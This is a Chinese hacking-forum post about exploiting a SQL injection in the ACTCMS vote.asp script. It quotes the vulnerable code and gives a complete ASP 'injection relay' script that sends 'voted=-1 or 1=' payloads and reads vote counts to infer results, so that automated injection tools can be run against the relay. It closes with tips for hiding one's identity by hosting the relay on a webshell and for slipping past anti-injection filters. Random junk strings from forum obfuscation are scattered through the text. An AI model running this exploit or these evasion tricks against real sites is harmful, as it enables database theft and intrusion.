注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
( n) f$ n8 L1 S链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
: W. M2 a; Z' F2 e
3 _: O& C  U, v% P) V4 ?/ a0 x2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
" B  U' c# p4 I) s. }
  s, H" p7 b/ E) i" t1 P% x2 G& S3    response.end   

4    end if   

5    for i=1 to request("voted").count   
* C8 ?3 _! \9 S, B# T' e5 V
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   

! T* k9 T7 u1 W. _0 {: X8....   
0 b' g, X9 V% T; j0 j
' ^& s' H0 @3 R+ u7 o5 @1 Y- g9response.Redirect "index.asp?id="&id&""   
5 n2 C6 V1 E1 l4 U' H, W. f2 X投票结束回跳转回index.asp这个投票结果页面
6 F: i3 o" t# j$ z% K如果投票成功票数加1
. G& G0 O% P+ [: A            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
8 ]! Q) I, e* q3 F: Y
2009-12-27 13:20
3 Z' L/ w0 @. H6 ~/ e) ~8 r
, Q8 |) l) D# e9 u2 M# I6 m利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
: M1 x. j3 P8 [. m: l我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
0 H# t. Z1 @" q8 p注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
3 M/ }8 o+ z& q9 C* u
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

! {$ m( [) x% a* b" L8 O02JmdcwName=request("jmdcw")

03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
" p5 q3 ]& [. x+ {' p9 _
  q% e7 J# c. }: t' I3 l. s04JmStr="id=1&voted=-1 or 1="&JmdcwName

- f- `2 O& l6 ~9 l; M2 X05JmStr=URLEncoding(JmStr)
; P7 v& |2 J% v! F$ {
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
  n. p% i7 X( b5 `8 m* L& o  b5 X
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
2 |& c1 {3 E$ z! T6 ^% l+ u
08testurl=testurl & "?" & JmStr

8 j+ a! z. f* U# N09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
: c2 d9 a# p% s: g3 p
# V& o' D' m6 v& `* I12JmCok=replace(JmCok,chr(32),"%20")  
- z/ K  b; s+ I, M  ^
- ]$ _3 z; N# K' T5 K% U13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" w. m) p) Z0 C! I/ {
% v/ l5 u- a& H0 o: D14  
4 t& F6 ~! B/ M2 o# k
, b% \" @/ m  Y7 I5 G( w7 h- D0 @15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
( m; z  M  M2 F8 x& G: i
& y4 ^% c8 s: @8 c/ h9 N16  

( i3 @  ^) u  K17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

& v6 S: ]! p* T( c2 c* q1 Q% f18response.write test1&""&test2&""
" d3 q- k* o/ M# r5 b
19  

' P0 p- t5 C" t2 Y# v9 L1 P20if test1=test2 then '如前后记录相等，表示失败
  K, s6 T  d. J4 E: q
21  response.write "failed"
% P2 X! P1 t, ]" }$ e
2 N+ v( K% u  E* a4 O7 t22else
4 x' o/ J# E# R8 ]$ q( }
23  response.write "succeed"

24end if  
8 S% ~4 E7 m$ Q2 H7 p) I* q" K
25  
0 F7 ?$ K5 a" `! `. ~5 ~3 b% }
26response.write "by 3x"
$ y: y8 Z3 g9 K+ Z
! G. B0 t) C6 h: K1 z27  
8 M7 k3 Y# {8 ^) L* W) d
: I( ], A$ S, A- ~& f' x28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

! o, j& M) I( P( n0 Z# j2 a30Dim Http

+ b+ M* V1 i0 m9 x; A0 \2 r31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
: ~9 H3 S+ p* o% |% S
4 \1 O" s! a" Q32With Http

33  

34.Open "GET",PostUrl,False
# _( }( A/ ]/ m
( m3 P" h. f" ^7 f35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

) q$ ]! u( P7 A, \' ^" L36.SetRequestHeader "Referer",PostRef
+ s8 I$ P3 ?9 f
37.SetRequestHeader "Cookie",PostCok
$ M# g$ c( k2 h
3 G. Q+ ?& A3 S38.Send ()

39PostData = .ResponseBody

% K" f" A! y5 m' Z: b! ^: [: i$ z! x40End With

41Set Http = Nothing

42PostData =bytes2BSTR(PostData)
# @# B1 P3 o! o! f: Q
43End Function

8 c. h3 Q* U2 R  V44  
* {& |0 p6 v$ m5 t
45  

4 T6 ~5 {. J2 C1 E8 {. Q5 s46Function bytes2BSTR(vIn)

47Dim strReturn

! k$ C( v% P+ B8 F3 H48Dim I, ThisCharCode, NextCharCode
* I+ X7 P; H4 \' T
: R' J( p/ v8 s, h! y49strReturn = ""
: P# g: q. P  b
50For I = 1 To LenB(vIn)

4 S4 P' g+ I1 d* A3 y) l51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)
/ K* O8 r, F) g  K
4 M# q4 }9 _; V% D1 p$ _& R# `54Else
0 |7 X" @: L: T9 C( c; `. M
) r9 N9 Z. B4 c4 X55NextCharCode = AscB(MidB(vIn, I + 1, 1))

. P  e* v6 w% d) m56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
' }1 \; Z2 Y/ n1 K" U0 F1 V4 _
+ E3 L, ^+ K, `" f7 R* m57I = I + 1
! A8 y4 O* J/ B+ `1 V% K
6 J6 D) ?3 x! h6 B: ^, N58End If
- d9 d7 S0 D4 b9 R% b
2 x4 l9 S& d* H4 j59Next

60bytes2BSTR = strReturn
5 {% j7 U" P6 S) o  G! ^
61End Function

62  

0 g; s- h. V3 s/ p/ T63Function URLEncoding(vstrin)  
0 C/ o5 G/ |9 I. z3 S
& Y- ]( h* x- E4 W% @64strReturn=""
/ Z. V/ I1 d- |, @6 [; X. P$ Q
65Dim i
/ @* P7 x+ ?' F7 {
66For i=1 To Len(vstrin)

9 Y! H( q" J9 R/ |67ThisChr=Mid(vstrin,i,1)
% ?* V8 n4 N! C6 ^: d
68if Abs(Asc(ThisChr))< &HFF Then
; @9 W6 F+ y9 j, K- k. b. N
3 e& A6 M) f; q7 h  v69strReturn=strReturn & ThisChr

70Else

$ T7 f- L" u* J5 z71InnerCode=Asc(ThisChr)
% |1 Q3 N* A. X) G
# G4 N9 a1 T  w$ N) ~- W; \; y72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000
* K  [( Y' A' S: Q3 k& B, x. \
74End If

& W& M7 o0 v2 C( {' M3 w/ B) ]75Hight1=(InnerCode And &HFF00) \&HFF

3 Y8 _" s# K9 [& z5 d; i76Low1=InnerCode And &HFF
: Z' L  c( _% r+ q/ u, C
- l7 l6 o8 [: Q- l77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
7 D& S0 Y( Y& u
78End if

  X) T% w  y4 A8 c$ p79Next
* k& I$ W" j& K% ^0 \- S. C5 c
8 \: |9 f0 O2 T7 }80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
8 S1 k$ G8 e4 Z9 k) O
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
9 M( y/ L+ ?/ m; K" E! {8 Z% E
83URLEncoding=strReturn

84End Function
, w* g6 f; @2 h
; u( {4 ?4 Y9 o, v85  

86function getSt(body)
8 X1 r# i" B- k- `8 z
( h! G- b' E0 ~/ ?2 P# ]* H87  startpot=instr(body,"投票人数：")+len("投票人数：")

  I3 p( U: i* p+ x, G) T88  endpot=instr(startpot,body," ")

7 B/ q+ O0 \% X5 _4 X  D89  getSt=mid(body,startpot,endpot-startpot)

90end function

91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
" z! C' t+ K. J2 f0 G5 F! b* j测试下效果：
投票成功：
0 V7 t! C* b" f* l* q8 [http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
/ C  R: \; H3 w
2009-12-27 13:29
投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
8 P5 k) E6 Q, v) a1 Y+ \) X
2009-12-27 13:29
-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
* ^* `) i6 d; e( s很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------

注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
1 R( Q! X; w5 N; e$ l0 [2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

! ^! U' D+ e, Z' P